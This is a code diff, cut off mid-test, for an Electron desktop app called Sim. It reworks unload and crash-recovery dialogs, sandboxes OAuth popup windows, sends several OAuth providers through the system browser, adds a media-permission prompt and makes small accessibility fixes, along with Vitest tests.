import type { ConfigStore } from '@/main/config'
import type { EventRecorder } from '@/main/observability'
import {
@@ -244,6 +244,105 @@ describe('createSecureWebPreferences', () => {
})
describe('createMainWindow', () => {
beforeEach(() => {
vi.clearAllMocks()
})
function createTestWindow(isMandatoryRelaunchPending: () => boolean = () => false) {
const config = {
filePath: '/tmp/settings.json',
getOrigin: vi.fn(() => APP),
setOrigin: vi.fn(),
get: vi.fn(() => undefined),
set: vi.fn(),
} as unknown as ConfigStore
const events = {
filePath: '/tmp/events.jsonl',
record: vi.fn(),
} satisfies EventRecorder
const win = createMainWindow({
config,
events,
appOrigin: () => APP,
partition: 'persist:sim',
preloadPath: '/tmp/preload.cjs',
isPackaged: false,
onClosed: vi.fn(),
isMandatoryRelaunchPending,
})
const contentHandlers = new Map(
vi.mocked(win.webContents.on).mock.calls as unknown as Array<
[string, (...args: never[]) => unknown]
>
)
return { events, win, contentHandlers }
}
it('makes Stay the safe keyboard default for beforeunload', () => {
const { contentHandlers } = createTestWindow()
const handler = contentHandlers.get('will-prevent-unload')
const event = { preventDefault: vi.fn() }
vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(0)
handler?.(event as never)
expect(dialog.showMessageBoxSync).toHaveBeenCalledWith(
expect.any(BrowserWindow),
expect.objectContaining({
buttons: ['Stay', 'Leave'],
defaultId: 0,
cancelId: 0,
})
)
expect(event.preventDefault).not.toHaveBeenCalled()
vi.mocked(dialog.showMessageBoxSync).mockReturnValueOnce(1)
handler?.(event as never)
expect(event.preventDefault).toHaveBeenCalledOnce()
})
it('allows a committed mandatory relaunch through beforeunload', () => {
const { contentHandlers } = createTestWindow(() => true)
const handler = contentHandlers.get('will-prevent-unload')
const event = { preventDefault: vi.fn() }
handler?.(event as never)
expect(event.preventDefault).toHaveBeenCalledOnce()
expect(dialog.showMessageBoxSync).not.toHaveBeenCalled()
})
it('queues crash recovery behind an open hang dialog without stacking dialogs', async () => {
let resolveHang: ((value: { response: number; checkboxChecked: boolean }) => void) | undefined
vi.mocked(dialog.showMessageBox)
.mockImplementationOnce(
() =>
new Promise((resolve) => {
resolveHang = resolve
})
)
.mockResolvedValue({ response: 0, checkboxChecked: false })
const { contentHandlers, events } = createTestWindow()
contentHandlers.get('unresponsive')?.()
contentHandlers.get('render-process-gone')?.(
undefined as never,
{ reason: 'crashed', exitCode: 9 } as never
)
contentHandlers.get('render-process-gone')?.(
undefined as never,
{ reason: 'crashed', exitCode: 9 } as never
)
expect(dialog.showMessageBox).toHaveBeenCalledTimes(1)
expect(events.record).toHaveBeenCalledWith('renderer_unresponsive')
expect(events.record).toHaveBeenCalledWith('renderer_gone', expect.any(Object))
expect(events.record).toHaveBeenCalledTimes(2)
resolveHang?.({ response: 0, checkboxChecked: false })
await vi.waitFor(() => expect(dialog.showMessageBox).toHaveBeenCalledTimes(2))
})
it('keeps the native macOS fullscreen titlebar blank', () => {
const config = {
filePath: '/tmp/settings.json',
@@ -265,6 +364,7 @@ describe('createMainWindow', () => {
preloadPath: '/tmp/preload.cjs',
isPackaged: false,
onClosed: vi.fn(),
isMandatoryRelaunchPending: () => false,
platform: 'darwin',
})
@@ -331,6 +431,7 @@ describe('createMainWindow', () => {
preloadPath: '/tmp/preload.cjs',
isPackaged: false,
onClosed: vi.fn(),
isMandatoryRelaunchPending: () => false,
restorePosition: false,
})
+57 -37
View File
@@ -198,6 +198,8 @@ export interface CreateMainWindowDeps {
preloadPath: string
isPackaged: boolean
onClosed: () => void
/** A committed process restart must not be cancelled by a renderer's beforeunload handler. */
isMandatoryRelaunchPending: () => boolean
onFullScreenChange?: (isFullScreen: boolean) => void
/**
* Restores the persisted screen position for the first window. Secondary
@@ -283,21 +285,57 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
})
win.webContents.on('will-prevent-unload', (event) => {
if (deps.isMandatoryRelaunchPending()) {
event.preventDefault()
return
}
const choice = dialog.showMessageBoxSync(win, {
type: 'question',
buttons: ['Leave', 'Stay'],
buttons: ['Stay', 'Leave'],
defaultId: 0,
cancelId: 1,
cancelId: 0,
message: 'Leave Sim?',
detail: 'Changes you made may not be saved.',
})
if (choice === 0) {
if (choice === 1) {
event.preventDefault()
}
})
let recoveryDialog: 'crash' | 'hang' | null = null
let crashPendingAfterHang = false
const showCrashRecovery = (): void => {
if (win.isDestroyed()) return
if (recoveryDialog !== null) {
if (recoveryDialog === 'hang') crashPendingAfterHang = true
return
}
recoveryDialog = 'crash'
void dialog
.showMessageBox(win, {
type: 'error',
buttons: ['Reload', 'Quit Sim'],
defaultId: 0,
cancelId: 0,
message: 'Sim encountered a problem',
detail: 'The page stopped unexpectedly. Reload to pick up where you left off.',
})
.then(({ response }) => {
if (win.isDestroyed()) return
if (response === 0) win.webContents.reload()
else app.quit()
})
.catch((error) => {
logger.error('Could not present renderer recovery', { error: getErrorMessage(error) })
})
.finally(() => {
recoveryDialog = null
})
}
win.webContents.on('render-process-gone', (_event, details) => {
if (details.reason === 'clean-exit') {
if (details.reason === 'clean-exit' || recoveryDialog === 'crash' || crashPendingAfterHang) {
return
}
deps.events.record('renderer_gone', {
@@ -305,38 +343,12 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
exitCode: details.exitCode,
crashDumpDir: app.getPath('crashDumps'),
})
setTimeout(() => {
if (win.isDestroyed()) {
return
}
void dialog
.showMessageBox(win, {
type: 'error',
buttons: ['Reload', 'Quit Sim'],
defaultId: 0,
cancelId: 0,
message: 'Sim encountered a problem',
detail: 'The page stopped unexpectedly. Reload to pick up where you left off.',
})
.then(({ response }) => {
if (win.isDestroyed()) {
return
}
if (response === 0) {
win.webContents.reload()
} else {
app.quit()
}
})
}, 0)
showCrashRecovery()
})
let hangDialogOpen = false
win.webContents.on('unresponsive', () => {
if (hangDialogOpen || win.isDestroyed()) {
return
}
hangDialogOpen = true
if (recoveryDialog !== null || win.isDestroyed()) return
recoveryDialog = 'hang'
deps.events.record('renderer_unresponsive')
void dialog
.showMessageBox(win, {
@@ -348,14 +360,22 @@ export function createMainWindow(deps: CreateMainWindowDeps): BrowserWindow {
detail: 'You can wait for it to recover or reload the page.',
})
.then(({ response }) => {
hangDialogOpen = false
if (!win.isDestroyed() && response === 1) {
win.webContents.reload()
}
})
})
win.webContents.on('responsive', () => {
hangDialogOpen = false
.catch((error) => {
logger.error('Could not present unresponsive renderer recovery', {
error: getErrorMessage(error),
})
})
.finally(() => {
recoveryDialog = null
if (crashPendingAfterHang) {
crashPendingAfterHang = false
showCrashRecovery()
}
})
})
let zoomRestored = false
+51 -3
View File
@@ -29,13 +29,14 @@ describe('attachWindowOpenPolicy', () => {
vi.mocked(shell.openExternal).mockClear()
})
function setup() {
function setup(isMandatoryRelaunchPending: () => boolean = () => false) {
const contents = makeContents()
const openAppWindow = vi.fn()
attachWindowOpenPolicy(contents as unknown as WebContents, {
appOrigin: () => APP,
openAppWindow,
allowHttpLocalhost: false,
isMandatoryRelaunchPending,
})
return { contents, openAppWindow }
}
@@ -46,12 +47,27 @@ describe('attachWindowOpenPolicy', () => {
url: 'https://mcp.example/authorize',
frameName: 'mcp-oauth-s1',
})
expect(result).toEqual({ action: 'allow' })
expect(result).toEqual({
action: 'allow',
overrideBrowserWindowOptions: {
webPreferences: expect.objectContaining({
preload: undefined,
additionalArguments: [],
contextIsolation: true,
nodeIntegration: false,
sandbox: true,
webSecurity: true,
webviewTag: false,
}),
},
})
})
it('allows blank children for the blank-then-assign pattern', () => {
const { contents } = setup()
expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toEqual({ action: 'allow' })
expect(contents.handler?.({ url: 'about:blank', frameName: '' })).toMatchObject({
action: 'allow',
})
})
it('opens internal new-window requests as full Sim windows', () => {
@@ -81,6 +97,38 @@ describe('attachWindowOpenPolicy', () => {
const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
expect(didCreateWindow).toBeDefined()
})
it('allows a mandatory relaunch through a child beforeunload', () => {
const { contents } = setup(() => true)
const childContents = makeContents()
const child = { webContents: childContents }
const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
const event = { preventDefault: vi.fn() }
didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' })
const willPreventUnload = childContents.on.mock.calls.find(
([eventName]) => eventName === 'will-prevent-unload'
)
willPreventUnload?.[1](event)
expect(event.preventDefault).toHaveBeenCalledOnce()
})
it('leaves child beforeunload untouched during ordinary use', () => {
const { contents } = setup()
const childContents = makeContents()
const child = { webContents: childContents }
const didCreateWindow = contents.on.mock.calls.find(([event]) => event === 'did-create-window')
const event = { preventDefault: vi.fn() }
didCreateWindow?.[1](child, { url: 'https://mcp.example/authorize', frameName: 'mcp-oauth-s1' })
const willPreventUnload = childContents.on.mock.calls.find(
([eventName]) => eventName === 'will-prevent-unload'
)
willPreventUnload?.[1](event)
expect(event.preventDefault).not.toHaveBeenCalled()
})
})
describe('popup registry', () => {
+31 -5
View File
@@ -1,5 +1,5 @@
import { createLogger } from '@sim/logger'
import type { BrowserWindow, WebContents } from 'electron'
import type { BrowserWindow, BrowserWindowConstructorOptions, WebContents } from 'electron'
import {
classifyBlankChildNavigation,
classifyWindowOpen,
@@ -11,6 +11,23 @@ const logger = createLogger('DesktopWindows')
const popupContents = new WeakSet<WebContents>()
/**
* Child windows share the opener's session for OAuth state and window.opener
* messaging. These preferences isolate ordinary OAuth children from Sim's
* privileged preload.
*/
const ISOLATED_CHILD_WINDOW_OPTIONS = {
webPreferences: {
preload: undefined,
additionalArguments: [],
contextIsolation: true,
nodeIntegration: false,
sandbox: true,
webSecurity: true,
webviewTag: false,
},
} satisfies BrowserWindowConstructorOptions
/**
* Marks a WebContents as a guarded popup child (MCP OAuth, blank-then-assign)
* so the navigation classifier can apply the more permissive popup policy.
@@ -27,6 +44,7 @@ export interface WindowPolicyDeps {
appOrigin: () => string
openAppWindow: (url: string) => void
allowHttpLocalhost: boolean
isMandatoryRelaunchPending: () => boolean
}
/**
@@ -42,7 +60,10 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
switch (action) {
case 'popup-mcp':
case 'popup-blank':
return { action: 'allow' }
return {
action: 'allow',
overrideBrowserWindowOptions: ISOLATED_CHILD_WINDOW_OPTIONS,
}
case 'popup-internal': {
deps.openAppWindow(details.url)
return { action: 'deny' }
@@ -59,6 +80,11 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
contents.on('did-create-window', (child, details) => {
registerPopupContents(child.webContents)
attachWindowOpenPolicy(child.webContents, deps)
child.webContents.on('will-prevent-unload', (event) => {
if (deps.isMandatoryRelaunchPending()) {
event.preventDefault()
}
})
const kind = classifyWindowOpen(details.url, details.frameName, deps.appOrigin())
if (kind === 'popup-blank') {
attachBlankChildGuards(child, deps)
@@ -67,9 +93,9 @@ export function attachWindowOpenPolicy(contents: WebContents, deps: WindowPolicy
}
/**
* Routes the first real navigation of an about:blank child: same-origin URLs
* open in a full Sim window, external URLs open in the system browser, and
* the child closes either way.
* Routes the first real navigation of an about:blank child. Electron creates
* that transient document with inherited preferences, so it is treated only
* as a handoff: the first real URL opens elsewhere and the child closes.
*/
function attachBlankChildGuards(child: BrowserWindow, deps: WindowPolicyDeps): void {
child.webContents.on('will-navigate', (event, url) => {
-3
View File
@@ -483,9 +483,6 @@ const api: SimDesktopApi = {
ipcRenderer.invoke('terminal:dispose-scope', scopeId),
suspendScope: (scopeId: string): Promise<boolean> =>
ipcRenderer.invoke('terminal:suspend-scope', scopeId),
dispose: (): void => {
ipcRenderer.send('terminal:dispose')
},
onData: (
callback: (terminalId: string, data: string, scopeId: string) => void
): (() => void) => {
+4
View File
@@ -22,6 +22,8 @@ export const app = {
on: vi.fn(),
once: vi.fn(),
quit: vi.fn(),
exit: vi.fn(),
relaunch: vi.fn(),
focus: vi.fn(),
enableSandbox: vi.fn(),
requestSingleInstanceLock: vi.fn(() => true),
@@ -222,9 +224,11 @@ export class WebContentsView {
export class BrowserWindow {
static fromWebContents = vi.fn(() => null)
static getFocusedWindow = vi.fn(() => null)
static nextId = 1
/** Constructor tracking for tests (the class itself is not a vi.fn mock). */
static instances: BrowserWindow[] = []
static lastOptions: Record<string, unknown> | undefined
readonly id = BrowserWindow.nextId++
constructor(options?: Record<string, unknown>) {
BrowserWindow.instances.push(this)
BrowserWindow.lastOptions = options
+7 -3
View File
@@ -126,6 +126,10 @@
stroke 150ms cubic-bezier(0.4, 0, 0.2, 1);
-webkit-app-region: no-drag;
}
button:focus-visible {
outline: 2px solid var(--text-primary);
outline-offset: 2px;
}
/* `button { display: inline-flex }` is an author rule, so it beats the UA
stylesheet's `[hidden] { display: none }` no matter the specificity —
without this the hidden status button renders anyway. */
@@ -195,9 +199,9 @@
Sim couldn’t reach the server. Check your internet connection, then try again.
</p>
<div class="actions">
<button class="primary" id="retry"><span class="label">Retry</span></button>
<button class="secondary" id="status" hidden><span class="label">Check status</span></button>
<button class="secondary" id="server"><span class="label">Change server</span></button>
<button type="button" class="primary" id="retry"><span class="label">Retry</span></button>
<button type="button" class="secondary" id="status" hidden><span class="label">Check status</span></button>
<button type="button" class="secondary" id="server"><span class="label">Change server</span></button>
</div>
<div id="detail" role="status"></div>
</div>
+8 -2
View File
@@ -111,6 +111,11 @@
input:focus {
border-color: var(--border-strong);
}
input:focus-visible,
button:focus-visible {
outline: 2px solid var(--text-primary);
outline-offset: 2px;
}
input[aria-invalid='true'] {
border-color: var(--error);
}
@@ -183,11 +188,12 @@
autocapitalize="off"
spellcheck="false"
placeholder="https://sim.example.com"
aria-describedby="message"
/>
<div id="message" role="status"></div>
<div class="actions">
<button class="secondary" id="cancel">Cancel</button>
<button class="primary" id="connect" disabled>Connect</button>
<button type="button" class="secondary" id="cancel">Cancel</button>
<button type="button" class="primary" id="connect" disabled>Connect</button>
</div>
</main>
<script>
@@ -143,6 +143,29 @@ describe('DesktopConnectPage', () => {
)
})
it.each(['trello', 'instagram', 'shopify'])(
'starts %s through its dedicated authorize route in the system browser',
async (provider) => {
await expect(
DesktopConnectPage(
pageProps({
provider,
state: VALID_STATE,
port: PORT,
draftId: 'draft-1',
})
)
).rejects.toThrow('NEXT_REDIRECT:')
const authorize = new URL(mockRedirect.mock.calls[0][0])
expect(authorize.pathname).toBe(`/api/auth/${provider}/authorize`)
expect(authorize.searchParams.get('draftId')).toBe('draft-1')
expect(authorize.searchParams.get('returnUrl')).toBe(
`https://sim.test/desktop/connect/complete?state=${VALID_STATE}&port=${PORT}`
)
}
)
it('rejects a malformed request without reading the session', async () => {
const invalid = [
{ provider: 'Google', state: VALID_STATE, port: PORT },
+7
View File
@@ -130,6 +130,13 @@ export default async function DesktopConnectPage({ searchParams }: DesktopConnec
redirect(authorize.toString())
}
if (providerId === 'trello' || providerId === 'instagram' || providerId === 'shopify') {
const authorize = new URL(`/api/auth/${providerId}/authorize`, getBaseUrl())
authorize.searchParams.set('returnUrl', buildConnectCompleteUrl(state, port))
if (draftId) authorize.searchParams.set('draftId', draftId)
redirect(authorize.toString())
}
return (
<ConnectLauncher
providerId={providerId}
@@ -500,10 +500,11 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
it('reuses a painted popover frame for a modal without revealing the native view between them', async () => {
const fallback = vi.fn()
const onOwnershipLost = vi.fn()
const hook = renderOcclusionHook()
act(() => {
void hook.result().requestOverlay('resources', fallback)
void hook.result().requestOverlay('resources', fallback, onOwnershipLost)
})
await flushOcclusionLifecycle()
@@ -522,6 +523,7 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
expect(setBrowserPanelOccluded).toHaveBeenCalledTimes(1)
expect(hook.result().activeOverlay).toBeNull()
expect(hook.result().snapshotLayer).toBe('modal')
expect(onOwnershipLost).toHaveBeenCalledOnce()
await act(async () => {
await hook.result().closeOverlay('resources')
@@ -540,12 +542,13 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
it('replaces one popover with another without revealing or recapturing the native view', async () => {
const firstFallback = vi.fn()
const secondFallback = vi.fn()
const firstOwnershipLost = vi.fn()
const hook = renderOcclusionHook()
let firstRequest!: Promise<boolean>
let secondRequest!: Promise<boolean>
act(() => {
firstRequest = hook.result().requestOverlay('resources', firstFallback)
firstRequest = hook.result().requestOverlay('resources', firstFallback, firstOwnershipLost)
})
await flushOcclusionLifecycle()
expect(await firstRequest).toBe(true)
@@ -560,6 +563,7 @@ describe('useBrowserPanelOcclusion modal lifecycle', () => {
expect(hook.result().activeOverlay).toBe('tab')
expect(captureBrowserPanelSnapshot).toHaveBeenCalledOnce()
expect(setBrowserPanelOccluded).toHaveBeenCalledTimes(1)
expect(firstOwnershipLost).toHaveBeenCalledOnce()
expect(firstFallback).not.toHaveBeenCalled()
expect(secondFallback).not.toHaveBeenCalled()
hook.unmount()
@@ -30,6 +30,7 @@ export type BrowserPanelSnapshotLayer = 'modal' | 'popover'
export type BrowserPanelOverlay =
| 'credentials'
| 'downloads'
| 'permissions'
| 'resources'
| 'suggestions'
| 'tab'
@@ -37,7 +38,11 @@ export type BrowserPanelOverlay =
export interface BrowserPanelOverlayController {
/** True when the renderer overlay owns the painted frame; false when fallback handled it. */
requestOverlay: (overlay: BrowserPanelOverlay, fallback: () => void) => Promise<boolean>
requestOverlay: (
overlay: BrowserPanelOverlay,
fallback: () => void,
onOwnershipLost?: () => void
) => Promise<boolean>
closeOverlay: (overlay: BrowserPanelOverlay) => Promise<void>
}
@@ -217,6 +222,7 @@ export function useBrowserPanelOcclusion(
const [activeOverlay, setActiveOverlay] = useState<BrowserPanelOverlay | null>(null)
const snapshotRenderRef = useRef<SnapshotRender | null>(null)
const activeOverlayRef = useRef<BrowserPanelOverlay | null>(null)
const activeOverlayOwnershipLostRef = useRef<(() => void) | null>(null)
const pendingOverlayRef = useRef<BrowserPanelOverlay | null>(null)
const activeTabIdRef = useRef(activeTabId)
const panelVisibleRef = useRef(panelVisible)
@@ -444,9 +450,12 @@ export function useBrowserPanelOcclusion(
}, [cancelPendingPaint, reconcile])
const clearBrowserOverlay = useCallback(() => {
const onOwnershipLost = activeOverlayOwnershipLostRef.current
pendingOverlayRef.current = null
activeOverlayRef.current = null
activeOverlayOwnershipLostRef.current = null
if (mountedRef.current) setActiveOverlay(null)
onOwnershipLost?.()
}, [])
const prepareScreenOcclusion = useCallback((): Promise<boolean> => {
@@ -471,6 +480,7 @@ export function useBrowserPanelOcclusion(
}
if (activeOverlayRef.current === overlay) {
activeOverlayRef.current = null
activeOverlayOwnershipLostRef.current = null
setActiveOverlay(null)
}
if (pendingOverlayRef.current === overlay) pendingOverlayRef.current = null
@@ -480,7 +490,11 @@ export function useBrowserPanelOcclusion(
)
const requestOverlay = useCallback(
async (overlay: BrowserPanelOverlay, fallback: () => void): Promise<boolean> => {
async (
overlay: BrowserPanelOverlay,
fallback: () => void,
onOwnershipLost?: () => void
): Promise<boolean> => {
if (!panelVisibleRef.current || screenOcclusionPresentRef.current) return false
if (activeOverlayRef.current === overlay) return true
if (pendingOverlayRef.current === overlay) {
@@ -491,17 +505,15 @@ export function useBrowserPanelOcclusion(
// A different renderer popover can replace the current one without
// revealing the native page between them. Keeping a pending popover owns
// the existing captured frame while the old controlled menu closes.
if (activeOverlayRef.current) clearBrowserOverlay()
pendingOverlayRef.current = overlay
if (activeOverlayRef.current) {
activeOverlayRef.current = null
setActiveOverlay(null)
}
const ready = await scheduleReconcile()
if (!mountedRef.current || pendingOverlayRef.current !== overlay) return false
if (ready && nativeHiddenRef.current && desiredLayer() === 'popover') {
pendingOverlayRef.current = null
activeOverlayRef.current = overlay
activeOverlayOwnershipLostRef.current = onOwnershipLost ?? null
setActiveOverlay(overlay)
return true
}
@@ -511,7 +523,7 @@ export function useBrowserPanelOcclusion(
fallback()
return false
},
[desiredLayer, scheduleReconcile]
[clearBrowserOverlay, desiredLayer, scheduleReconcile]
)
// The canonical modal pauses its first visible frame and dispatches this
@@ -592,6 +604,7 @@ export function useBrowserPanelOcclusion(
screenOcclusionPresentRef.current = false
pendingOverlayRef.current = null
activeOverlayRef.current = null
activeOverlayOwnershipLostRef.current = null
transitionVersionRef.current++
cancelPendingPaint()
// Run once now and once behind any in-flight capture/hide. The second
@@ -5,6 +5,7 @@ import { describe, expect, it, vi } from 'vitest'
import {
browserPanelSnapshotStyle,
browserSelectionContext,
claimMediaPermissionResponse,
clearOmniboxSelection,
exceededOmniboxDragThreshold,
hasConfirmedBrowserTabCreation,
@@ -16,6 +17,19 @@ import {
shouldReportBrowserBounds,
} from '@/app/workspace/[workspaceId]/home/components/mothership-view/components/resource-content/components/browser-session/browser-session'
describe('claimMediaPermissionResponse', () => {
it('allows one response per request id across effect recreation', () => {
const handledRequestId = { current: null as string | null }
expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(true)
expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(false)
expect(claimMediaPermissionResponse(handledRequestId, 'request-2')).toBe(true)
handledRequestId.current = null
expect(claimMediaPermissionResponse(handledRequestId, 'request-1')).toBe(true)
})
})
describe('browserPanelSnapshotStyle', () => {
const snapshot = {
dataUrl: 'data:image/png;base64,c2lt',
@@ -195,6 +195,16 @@ export function clearOmniboxSelection(input: HTMLInputElement): void {
input.setSelectionRange(caret, caret)
}
/** Claims the one renderer response allowed for a native media permission request. */
export function claimMediaPermissionResponse(
handledRequestId: { current: string | null },
requestId: string
): boolean {
if (handledRequestId.current === requestId) return false
handledRequestId.current = requestId
return true
}
/** Places the replacement on the native view's exact, unclipped viewport rectangle. */
export function browserPanelSnapshotStyle(
snapshot: BrowserPanelSnapshot,
@@ -385,6 +395,7 @@ export function BrowserSession({
)
const suspended = useBrowserSessionStore((state) => state.sessions[scopeId]?.suspended ?? false)
const hasPageIssue = Boolean(pageState?.issue)
const mediaPermissionRequest = pageState?.mediaPermissionRequest
const panelRef = useRef<HTMLDivElement>(null)
const hostRef = useRef<HTMLDivElement>(null)
// Lets the occlusion handshake reject a capture taken before a modal's
@@ -397,6 +408,7 @@ export function BrowserSession({
const omniboxFocusRafRef = useRef<number | null>(null)
const omniboxPointerSelectionRef = useRef<OmniboxPointerSelection | null>(null)
const pendingNewTabFocusRef = useRef<PendingNewTabFocus | null>(null)
const handledMediaPermissionRequestIdRef = useRef<string | null>(null)
const visibleRef = useRef(visible)
visibleRef.current = visible
const { removeResource } = useMothershipResources()
@@ -471,6 +483,69 @@ export function BrowserSession({
onSnapshotError,
} = useBrowserPanelOcclusion(scopeId, activeTabId, panelVisible, getHostRect)
useEffect(() => {
const request = mediaPermissionRequest
if (!request) {
handledMediaPermissionRequestIdRef.current = null
void closeOverlay('permissions')
return
}
let active = true
let decided = false
let toastId: string | null = null
const respond = (allowed: boolean) => {
if (decided) return
decided = true
if (!claimMediaPermissionResponse(handledMediaPermissionRequestIdRef, request.requestId))
return
sendBrowserPanelAction(
'respond-media-permission',
{ requestId: request.requestId, allowed },
scopeId
)
}
const dismissPrompt = () => {
respond(false)
if (!toastId) return
const id = toastId
toastId = null
toast.dismiss(id)
}
if (!visible) {
respond(false)
void closeOverlay('permissions')
return
}
void requestOverlay('permissions', () => respond(false), dismissPrompt).then((ready) => {
if (!active) return
if (!ready) {
respond(false)
return
}
const origin = URL.canParse(request.origin) ? new URL(request.origin).host : request.origin
const devices = request.devices.join(' and ')
toastId = toast.info(`${origin} wants to use your ${devices}`, {
description: 'Access applies only to this page and ends when it navigates.',
action: { label: 'Allow', onClick: () => respond(true) },
onDismiss: () => {
if (!active) return
respond(false)
void closeOverlay('permissions')
},
})
})
return () => {
active = false
dismissPrompt()
void closeOverlay('permissions')
}
}, [closeOverlay, mediaPermissionRequest, requestOverlay, scopeId, visible])
// The resource picker lives above this component in the panel tab bar. Give
// that one external browser overlay access to the same capture/hide handshake
// as the browser's own menus, without restoring a document-wide observer.
@@ -503,7 +578,11 @@ export function BrowserSession({
() =>
onBrowserToolbarCommand((command) => {
if (command === 'import') {
navigateToSettings({ section: 'browser', browserView: 'passwords', browserImport: true })
navigateToSettings({
section: 'browser',
browserView: 'passwords',
browserImport: true,
})
return
}
navigateToSettings({ section: 'browser' })
@@ -932,6 +1011,10 @@ export function BrowserSession({
// Keep the page's exact captured frame underneath it while it is open so
// pointer events reach the Sim popover instead of the WebContentsView.
useEffect(() => {
if (mediaPermissionRequest) {
void closeOverlay('suggestions')
return
}
if (hasPageIssue) {
void closeOverlay('suggestions')
return
@@ -941,7 +1024,7 @@ export function BrowserSession({
return
}
void closeOverlay('suggestions')
}, [closeOverlay, hasPageIssue, requestOverlay, suggestions.length])
}, [closeOverlay, hasPageIssue, mediaPermissionRequest, requestOverlay, suggestions.length])
const suggestionsOpen = hasPageIssue
? suggestions.length > 0
@@ -667,8 +667,9 @@ const TerminalView = memo(function TerminalView({
addMothershipContext(context)
}, [selectionSnapshot, terminalId])
const pasteClipboard = useCallback(() => {
const pasteClipboard = () => {
void (async () => {
reportTerminalFocused(true, scopeId)
const result = await pasteIntoTerminal(terminalId, scopeId)
if (result === true) {
terminalRef.current?.focus()
@@ -682,7 +683,7 @@ const TerminalView = memo(function TerminalView({
}
toast.error('Could not paste from the clipboard. Press ⌘V to paste.')
})()
}, [terminalId, scopeId])
}
const newTab = useCallback(() => {
void openTerminal(undefined, scopeId).catch(() => {
@@ -512,13 +512,10 @@ const UserInputImpl = forwardRef<UserInputHandle, UserInputProps>(function UserI
return () => window.cancelAnimationFrame(raf)
}, [textareaRef])
const handleContainerClick = useCallback(
(e: React.MouseEvent<HTMLDivElement>) => {
if ((e.target as HTMLElement).closest('button, [role="dialog"]')) return
textareaRef.current?.focus()
},
[textareaRef]
)
const handleContainerClick = (e: React.MouseEvent<HTMLDivElement>) => {
if ((e.target as HTMLElement).closest('button, [role="dialog"]')) return
textareaRef.current?.focus()
}
const handleSubmit = useCallback(() => {
const currentFiles = filesRef.current
@@ -0,0 +1,71 @@
/**
* @vitest-environment jsdom
*/
import { act, type ReactNode } from 'react'
import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import { createRoot } from 'react-dom/client'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
const { beginOAuthConnect, oauthLink } = vi.hoisted(() => ({
beginOAuthConnect: vi.fn(),
oauthLink: vi.fn(),
}))
vi.mock('@/lib/api/client/request', () => ({ requestJson: vi.fn() }))
vi.mock('@/lib/auth/auth-client', () => ({ client: { oauth2: { link: oauthLink } } }))
vi.mock('@/lib/desktop', () => ({
getDesktopBridge: () => ({ beginOAuthConnect }),
}))
vi.mock('@/lib/oauth', () => ({ OAUTH_PROVIDERS: {} }))
import { useConnectOAuthService } from '@/hooks/queries/oauth/oauth-connections'
describe('useConnectOAuthService', () => {
let unmount = () => {}
beforeEach(() => {
vi.clearAllMocks()
beginOAuthConnect.mockResolvedValue(true)
;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
})
afterEach(() => unmount())
it.each(['trello', 'instagram', 'shopify'])(
'hands %s to the desktop bridge before provider-specific web routing',
async (providerId) => {
const queryClient = new QueryClient({
defaultOptions: { mutations: { retry: false }, queries: { retry: false } },
})
const container = document.createElement('div')
const root = createRoot(container)
let connect: ReturnType<typeof useConnectOAuthService> | undefined
function Probe() {
connect = useConnectOAuthService()
return null
}
function Wrapper({ children }: { children: ReactNode }) {
return <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
}
act(() =>
root.render(
<Wrapper>
<Probe />
</Wrapper>
)
)
unmount = () => act(() => root.unmount())
await act(async () => {
await connect?.mutateAsync({
providerId,
callbackURL: 'https://sim.test/oauth/credential-connected',
draftId: 'draft-1',
})
})
expect(beginOAuthConnect).toHaveBeenCalledWith(providerId, { draftId: 'draft-1' })
expect(oauthLink).not.toHaveBeenCalled()
}
)
})
@@ -151,6 +151,22 @@ export function useConnectOAuthService() {
return useMutation({
mutationFn: async ({ providerId, callbackURL, draftId }: ConnectServiceParams) => {
/**
* Desktop keeps the entire provider flow in the system browser so the
* authorization route's state cookies and callback use one cookie jar.
*/
const desktopBridge = getDesktopBridge()
if (desktopBridge?.beginOAuthConnect) {
const opened = await desktopBridge.beginOAuthConnect(
providerId,
draftId ? { draftId } : undefined
)
if (!opened) {
throw new Error('Could not open your browser to connect this account.')
}
return { success: true }
}
if (providerId === 'trello') {
const returnUrl = encodeURIComponent(callbackURL)
const draftQuery = draftId ? `&draftId=${encodeURIComponent(draftId)}` : ''
@@ -172,24 +188,6 @@ export function useConnectOAuthService() {
return { success: true }
}
// Desktop app: OAuth cannot run in the embedded window (Google/Microsoft
// block embedded user agents, and better-auth binds the flow's state to
// the initiating browser's cookies), so the whole flow is handed to the
// system browser and returns via the app's loopback. Completion arrives
// through onOAuthConnectComplete (see useDesktopOAuthConnectListener),
// which refreshes caches and shows the connected toast.
const desktopBridge = getDesktopBridge()
if (desktopBridge?.beginOAuthConnect) {
const opened = await desktopBridge.beginOAuthConnect(
providerId,
draftId ? { draftId } : undefined
)
if (!opened) {
throw new Error('Could not open your browser to connect this account.')
}
return { success: true }
}
const stateCallbackUrl = new URL(callbackURL)
if (draftId) {
stateCallbackUrl.searchParams.set(OAUTH_CREDENTIAL_DRAFT_CALLBACK_PARAM, draftId)
@@ -473,6 +473,22 @@ describe('browser panel transport', () => {
await expect(execution).rejects.toThrow('cancelled')
})
it('clears the response watchdog when a browser tool settles early', async () => {
vi.useFakeTimers()
try {
executeTool.mockResolvedValue({ ok: true, result: { done: true } })
const timersBefore = vi.getTimerCount()
await expect(
executeBrowserTool('tool-fast', 'browser_snapshot', {}, 30_000, 'chat-fast')
).resolves.toEqual({ done: true })
expect(vi.getTimerCount()).toBe(timersBefore)
} finally {
